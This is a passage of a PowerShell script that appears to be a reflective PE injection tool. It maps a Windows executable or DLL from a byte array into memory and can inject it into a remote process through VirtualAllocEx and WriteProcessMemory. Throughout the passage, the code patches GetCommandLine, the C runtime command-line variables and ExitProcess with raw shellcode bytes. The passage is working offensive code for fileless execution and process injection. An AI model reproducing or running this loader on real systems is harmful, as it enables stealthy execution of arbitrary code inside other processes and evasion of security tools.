                    [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])

                    #Cleanup
                    #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
                    if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
                    {
                        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
                        $ProcedureNamePtr = [IntPtr]::Zero
                    }
                }
                
                $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
            }
        }
    }

    Function Get-VirtualProtectValue
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [UInt32]
        $SectionCharacteristics
        )
        
        $ProtectionFlag = 0x0
        if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
        {
            if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
            {
                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
                }
            }
            else
            {
                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
                }
            }
        }
        else
        {
            if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
            {
                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE_READWRITE
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE_READONLY
                }
            }
            else
            {
                if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
                {
                    $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
                }
                else
                {
                    $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
                }
            }
        }
        
        if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
        {
            $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
        }
        
        return $ProtectionFlag
    }

    Function Update-MemoryProtectionFlags
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants,
        
        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )
        
        for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
            $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
            [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
            
            [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
            [UInt32]$SectionSize = $SectionHeader.VirtualSize
            
            [UInt32]$OldProtectFlag = 0
            Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
            $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
            if ($Success -eq $false)
            {
                Throw "Unable to change memory protection"
            }
        }
    }
    
    #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
    #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
    Function Update-ExeFunctions
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants,
        
        [Parameter(Position = 3, Mandatory = $true)]
        [String]
        $ExeArguments,
        
        [Parameter(Position = 4, Mandatory = $true)]
        [IntPtr]
        $ExeDoneBytePtr
        )
        
        #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
        $ReturnArray = @() 
        
        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
        [UInt32]$OldProtectFlag = 0
        
        [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
        if ($Kernel32Handle -eq [IntPtr]::Zero)
        {
            throw "Kernel32 handle null"
        }
        
        [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
        if ($KernelBaseHandle -eq [IntPtr]::Zero)
        {
            throw "KernelBase handle null"
        }

        #################################################
        #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
        #   We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
        $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
        $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
    
        [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
        [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")

        if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
        {
            throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
        }

        #Prepare the shellcode
        [Byte[]]$Shellcode1 = @()
        if ($PtrSize -eq 8)
        {
            $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
        }
        $Shellcode1 += 0xb8
        
        [Byte[]]$Shellcode2 = @(0xc3)
        $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
        
        
        #Make copy of GetCommandLineA and GetCommandLineW
        $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
        $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
        $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
        $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
        $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
        $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)

        #Overwrite GetCommandLineA
        [UInt32]$OldProtectFlag = 0
        $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
        if ($Success = $false)
        {
            throw "Call to VirtualProtect failed"
        }
        
        $GetCommandLineAAddrTemp = $GetCommandLineAAddr
        Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
        $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
        $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
        Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
        
        $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
        
        
        #Overwrite GetCommandLineW
        [UInt32]$OldProtectFlag = 0
        $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
        if ($Success = $false)
        {
            throw "Call to VirtualProtect failed"
        }
        
        $GetCommandLineWAddrTemp = $GetCommandLineWAddr
        Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
        $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
        $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
        Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
        
        $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
        #################################################
        
        
        #################################################
        #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
        #   I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
        #   It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
        #   argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
        $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
            , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
        
        foreach ($Dll in $DllList)
        {
            [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
            if ($DllHandle -ne [IntPtr]::Zero)
            {
                [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
                [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
                if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
                {
                    "Error, couldn't find _wcmdln or _acmdln"
                }
                
                $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
                $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
                
                #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
                $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
                $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
                $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
                $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
                $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
                $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
                
                $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
                if ($Success = $false)
                {
                    throw "Call to VirtualProtect failed"
                }
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
                $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
                
                $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
                if ($Success = $false)
                {
                    throw "Call to VirtualProtect failed"
                }
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
                $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
            }
        }
        #################################################
        
        
        #################################################
        #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.

        $ReturnArray = @()
        $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
        
        #CorExitProcess (compiled in to visual studio c++)
        [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
        if ($MscoreeHandle -eq [IntPtr]::Zero)
        {
            throw "mscoree handle null"
        }
        [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
        if ($CorExitProcessAddr -eq [IntPtr]::Zero)
        {
            Throw "CorExitProcess address not found"
        }
        $ExitFunctions += $CorExitProcessAddr
        
        #ExitProcess (what non-managed programs use)
        [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
        if ($ExitProcessAddr -eq [IntPtr]::Zero)
        {
            Throw "ExitProcess address not found"
        }
        $ExitFunctions += $ExitProcessAddr
        
        [UInt32]$OldProtectFlag = 0
        foreach ($ProcExitFunctionAddr in $ExitFunctions)
        {
            $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
            #The following is the shellcode (Shellcode: ExitThread.asm):
            #32bit shellcode
            [Byte[]]$Shellcode1 = @(0xbb)
            [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
            #64bit shellcode (Shellcode: ExitThread.asm)
            if ($PtrSize -eq 8)
            {
                [Byte[]]$Shellcode1 = @(0x48, 0xbb)
                [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
            }
            [Byte[]]$Shellcode3 = @(0xff, 0xd3)
            $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
            
            [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
            if ($ExitThreadAddr -eq [IntPtr]::Zero)
            {
                Throw "ExitThread address not found"
            }

            $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
            if ($Success -eq $false)
            {
                Throw "Call to VirtualProtect failed"
            }
            
            #Make copy of original ExitProcess bytes
            $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
            $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
            $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
            
            #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then 
            #   call ExitThread
            Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
            Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
            $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
            Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp

            $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
        }
        #################################################

        Write-Output $ReturnArray
    }
    
    
    #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
    #   It copies Count bytes from Source to Destination.
    Function Copy-ArrayOfMemAddresses
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Array[]]
        $CopyInfo,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,
        
        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants
        )

        [UInt32]$OldProtectFlag = 0
        foreach ($Info in $CopyInfo)
        {
            $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
            if ($Success -eq $false)
            {
                Throw "Call to VirtualProtect failed"
            }
            
            $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
            
            $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
        }
    }


    #####################################
    ##########    FUNCTIONS   ###########
    #####################################
    Function Get-MemoryProcAddress
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [IntPtr]
        $PEHandle,
        
        [Parameter(Position = 1, Mandatory = $true)]
        [String]
        $FunctionName
        )
        
        $Win32Types = Get-Win32Types
        $Win32Constants = Get-Win32Constants
        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
        
        #Get the export table
        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
        {
            return [IntPtr]::Zero
        }
        $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
        $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
        
        for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
        {
            #AddressOfNames is an array of pointers to strings of the names of the functions exported
            $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
            $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
            $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)

            if ($Name -ceq $FunctionName)
            {
                #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
                #    which contains the offset of the function in to the DLL
                $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
                $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
                $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
                $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
                return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
            }
        }
        
        return [IntPtr]::Zero
    }


    Function Invoke-MemoryLoadLibrary
    {
        Param(
        [Parameter( Position = 0, Mandatory = $true )]
        [Byte[]]
        $PEBytes,
        
        [Parameter(Position = 1, Mandatory = $false)]
        [String]
        $ExeArgs,
        
        [Parameter(Position = 2, Mandatory = $false)]
        [IntPtr]
        $RemoteProcHandle,

        [Parameter(Position = 3)]
        [Bool]
        $ForceASLR = $false
        )
        
        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
        
        #Get Win32 constants and functions
        $Win32Constants = Get-Win32Constants
        $Win32Functions = Get-Win32Functions
        $Win32Types = Get-Win32Types
        
        $RemoteLoading = $false
        if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
        {
            $RemoteLoading = $true
        }
        
        #Get basic PE information
        Write-Verbose "Getting basic PE information from the file"
        $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
        $OriginalImageBase = $PEInfo.OriginalImageBase
        $NXCompatible = $true
        if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
        {
            Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
            $NXCompatible = $false
        }
        
        
        #Verify that the PE and the current process are the same bits (32bit or 64bit)
        $Process64Bit = $true
        if ($RemoteLoading -eq $true)
        {
            $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
            $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
            if ($Result -eq [IntPtr]::Zero)
            {
                Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
            }
            
            [Bool]$Wow64Process = $false
            $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
            if ($Success -eq $false)
            {
                Throw "Call to IsWow64Process failed"
            }
            
            if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
            {
                $Process64Bit = $false
            }
            
            #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
            $PowerShell64Bit = $true
            if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
            {
                $PowerShell64Bit = $false
            }
            if ($PowerShell64Bit -ne $Process64Bit)
            {
                throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
            }
        }
        else
        {
            if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
            {
                $Process64Bit = $false
            }
        }
        if ($Process64Bit -ne $PEInfo.PE64Bit)
        {
            Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
        }
        

        #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
        Write-Verbose "Allocating memory for the PE and write its headers to memory"
        
        #ASLR check
        [IntPtr]$LoadAddr = [IntPtr]::Zero
        $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
        if ((-not $ForceASLR) -and (-not $PESupportsASLR))
        {
            Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
            [IntPtr]$LoadAddr = $OriginalImageBase
        }
        elseif ($ForceASLR -and (-not $PESupportsASLR))
        {
            Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
        }

        if ($ForceASLR -and $RemoteLoading)
        {
            Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
        }
        if ($RemoteLoading -and (-not $PESupportsASLR))
        {
            Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
        }

        $PEHandle = [IntPtr]::Zero              #This is where the PE is allocated in PowerShell
        $EffectivePEHandle = [IntPtr]::Zero     #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
        if ($RemoteLoading -eq $true)
        {
            #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
            $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
            
            #todo, error handling needs to delete this memory if an error happens along the way
            $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
            if ($EffectivePEHandle -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
            }
        }
        else
        {
            if ($NXCompatible -eq $true)
            {
                $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
            }
            else
            {
                $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
            }
            $EffectivePEHandle = $PEHandle
        }
        
        [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
        if ($PEHandle -eq [IntPtr]::Zero)
        { 
            Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
        }       
        [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
        
        
        #Now that the PE is in memory, get more detailed information about it
        Write-Verbose "Getting detailed PE information from the headers loaded in memory"
        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
        $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
        $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
        Write-Verbose "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)"
        
        
        #Copy each section from the PE in to memory
        Write-Verbose "Copy PE sections in to memory"
        Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
        
        
        #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
        Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
        Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types

        
        #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
        Write-Verbose "Import DLL's needed by the PE we are loading"
        if ($RemoteLoading -eq $true)
        {
            Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
        }
        else
        {
            Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
        }
        
        
        #Update the memory protection flags for all the memory just allocated
        if ($RemoteLoading -eq $false)
        {
            if ($NXCompatible -eq $true)
            {
                Write-Verbose "Update memory protection flags"
                Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
            }
            else
            {
                Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
            }
        }
        else
        {
            Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
        }
        
        
        #If remote loading, copy the DLL in to remote process memory
        if ($RemoteLoading -eq $true)
        {
            [UInt32]$NumBytesWritten = 0
            $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
            if ($Success -eq $false)
            {
                Throw "Unable to write shellcode to remote process memory."
            }
        }
        
        
        #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
